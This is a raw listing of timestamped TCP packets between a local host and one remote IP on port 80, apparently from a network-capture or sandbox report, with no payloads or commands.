Dec 5, 2022 06:44:31.358710051 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.358728886 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.358736992 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.358748913 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.358762026 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.358788013 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.358794928 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.358813047 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.358814955 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.358829021 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.358843088 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.358863115 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.358870983 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.358892918 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.358913898 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.358931065 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.358958006 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.358985901 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.359005928 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.359013081 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.359030962 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.359038115 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.359064102 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.359067917 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.359086990 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.359091997 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.359102011 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.359118938 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.359134912 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.359148026 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.359162092 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.359174967 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.359194040 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.359204054 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.359217882 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.359227896 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.359250069 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.359255075 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.359280109 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.359297037 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.359301090 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.359316111 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.359327078 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.359354973 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.359359026 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.359378099 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.359380960 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.359404087 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.359406948 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.359430075 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.359438896 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.359438896 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.359457970 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.359472990 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.359484911 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.359504938 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.359508038 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.359523058 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.359535933 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.359551907 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.359560013 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.359572887 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.359581947 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.359602928 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.359646082 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.359702110 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.359740973 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.359761953 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.359769106 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.359781027 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.359827042 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.359843016 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.359852076 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.359863997 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.359878063 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.359895945 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.359904051 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.359915972 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.359927893 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.359951973 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.359954119 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.359968901 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.359983921 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.360003948 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.360009909 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.360027075 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.360035896 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.360057116 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.360059023 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.360081911 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.360089064 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.360089064 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.360106945 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.360131979 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.360131025 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.360146999 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.360157013 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.360172987 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.360182047 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.360194921 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.360208035 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.360229969 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.360230923 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.360246897 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.360255003 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.360269070 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.360276937 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.360301971 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.360302925 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.360321045 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.360328913 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.360342026 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.360354900 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.360375881 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.360424995 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.360646963 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.360671043 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.360692024 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.360693932 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.360712051 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.360717058 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.360734940 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.360740900 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.360757113 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.360763073 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.360785007 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.360786915 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.360807896 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.360811949 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.360829115 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.360837936 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.360852003 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.360863924 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.360878944 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.360888004 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.360902071 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.360913038 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.360929012 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.360939026 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.360950947 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.360964060 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.360984087 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.360990047 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.361013889 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.361038923 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.361044884 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.361062050 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.361062050 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.361068964 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.361079931 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.361092091 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.361114025 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.361138105 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.361146927 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.361161947 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.361171961 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.361185074 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.361190081 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.361210108 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.361226082 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.361226082 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.361233950 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.361251116 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.361304045 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.361855030 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.361881018 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.361902952 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.361927986 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.361934900 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.361953020 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.361969948 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.361993074 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.361994982 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.362018108 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.362035990 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.362044096 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.362061024 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.362061024 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.362078905 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.362103939 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.362107038 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.362124920 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.362128973 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.362139940 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.362154961 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.362174034 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.362180948 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.362195015 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.362206936 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.362226963 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.362234116 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.362251997 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.362260103 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.362281084 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.362287045 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.362304926 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.362312078 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.362328053 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.362338066 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.362356901 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.362364054 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.362379074 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.362390041 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.362415075 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.362416983 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.362432003 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.362442970 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.362461090 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.362469912 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.362483025 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.362508059 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.362557888 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.362643957 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.362667084 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.362673044 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.362694025 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.362709045 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.362721920 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.362737894 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.362746954 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.362761974 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.362772942 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.362798929 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.362798929 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.362819910 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.362828970 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.362843990 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.362855911 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.362886906 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.362895966 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.362915039 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.362921953 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.362941980 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.362948895 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.362971067 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.362972975 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.362996101 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.363001108 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.363025904 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.363030910 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.363049030 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.363054037 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.363080978 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.363087893 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.363106012 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.363107920 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.363125086 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.363130093 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.363156080 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.363164902 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.363185883 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.363187075 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.363204956 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.363210917 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.363229036 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.363231897 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.363250017 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.363255978 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.363276958 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.363281012 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.363296032 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.363341093 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.378535032 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:35.424736023 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:35.442615986 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.442800999 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:35.749582052 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:35.766580105 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.766830921 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:35.767323971 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:35.784192085 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.800745010 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.800796032 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.800862074 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.800875902 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:35.800929070 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.800978899 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.801021099 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:35.801040888 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.801096916 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:35.801099062 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.801156998 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.801201105 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.801245928 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.801258087 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:35.801299095 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.801347017 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.801358938 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:35.801399946 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:35.801407099 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.801454067 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.801497936 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.801511049 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:35.801552057 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.801606894 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:35.802259922 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.802304983 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.802377939 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:35.802385092 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.802438021 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.802503109 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:35.803010941 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.803059101 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.803108931 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.803155899 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:35.803173065 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.803318977 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:35.803792000 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.803838015 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.803879976 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.803939104 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:35.803963900 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.804347038 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:35.804591894 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.804641008 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.805305958 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:35.818588972 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.818638086 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.818686962 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.818737984 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:35.818752050 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.818799973 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.818847895 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:35.818865061 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.818947077 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.818984985 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:35.819005013 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.819072962 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:35.819616079 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.819663048 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.819705009 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.819766998 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:35.820291996 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.820334911 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.820379019 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.820405006 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:35.820432901 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:35.820442915 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.821005106 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.821050882 CET	80	49704	66.235.200.147	192.168.2.3
